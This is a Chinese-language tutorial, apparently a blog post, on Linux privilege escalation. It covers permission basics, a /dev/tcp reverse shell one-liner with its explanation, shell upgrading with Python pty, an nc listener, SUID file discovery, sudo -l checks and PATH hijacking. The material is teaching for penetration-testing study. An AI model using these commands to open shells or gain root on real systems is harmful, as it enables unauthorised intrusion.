Skip to main content

Linux权限提升

前置知识

Linux权限体系

文件权限

-rw-rw-r-- 1 ubuntu ubuntu 0 Nov 28 23:20 test.txt

可以看到,权限字符串一共有10位

首位字符来区分不同的文件,下面列出了一些常用的类型。

  • -,普通文件。
  • d,目录文件。
  • l,链接文件。
  • b,块设备文件。
  • c,字符设备文件。
  • p,管道文件

Linux中,每个文件都有所有者、所有组,并规定了所有者、所有组、其他人对这个文件的操作权限

常见的权限有rwx分别是可读、可写、可执行,用数字表示分别为421

权限字符串的后9位每三位为一组,分别代表了所有者、所有组、其他人对这个文件的权限。

除了这些常用的权限,Linux中还有一些特殊的权限

  • suid
  • sgid
  • sbit

这些在后续的利用中会着重讲解,这里就不再赘述

权限操作

chmod [参数] 权限 目录/文件

chmod命令可以更新用户的权限,例如chmod 777 test.txt或者chmod +x test.txt,对目录的操作需要加上-R操作

chown [参数] 所有者:所有组 目录/文件

chown命令可以修改文件或目录的所有者和所属组的,对目录的操作需要加上-R操作

获取一个交互式终端

获取一个交互式终端,首先要从反弹shell说起,反弹shell要从一条基本的命令说起

bash -i >& /dev/tcp/127.0.0.1/8080 0>&1

我们来分析一下这条命令

bash -i表示启动一个交互式终端,>&表示将标准输出和标准错误重定向,/dev/tcp/127.0.0.1/8080表示伪设备,我们可以通过TCP连接访问127.0.0.18080端口,0>&1表示将标准输入重定向到标准输出,所以这条命令的含义是将bash交互式终端的标准输出、标准设置重定向到127.0.0.1:8080,然后将127.0.0.1:8080的标准输入重定向到标准输出,这就是最基础的反弹shell命令,后面很多反弹shell的命令都以这个形式进行衍生

反弹一个shell,然后执行tty命令,输出为not a tty

image-20241129222558653

那么我们可以使用Python启动一个伪终端

python3 -c "import pty;pty.spawn('/bin/bash')"

可以看到已经获取到了一个交互式终端,接下来我们往往要执行以下的命令来增加交互性

export TERM=xterm
# Ctrl+Z
ssty -echo raw;fg

还有一个退而求其次的实现方式

就是在nc监听时使用rlwrap

rlwrap nc -lvvp 1234

权限提升

在我们提权的过程中,往往目标都是root

我们去寻找一些和root有关的东西,文件、目录、进程等等

首先来说,一般先去考虑具有suid的文件

find / -type f -perm -u=s 2>/dev/null

寻找所有具有suid的文件,然后通过https://gtfobins.github.io/#去寻找如何利用

然后再考虑sudo提权

sudo -l

可以列出sudo相关的信息,假设我们可以以sudo权限执行一些命令,也可以用类似于suid的方式去利用

除此之外,当sudo或者具有suid权限的文件执行的命令使用的是相对路径,我们可以通过环境变量来提权

image-20241129224806455

假设我们可以使用root权限执行这个脚本,那我们可以通过修改PATH来进行提权

image-20241129225003565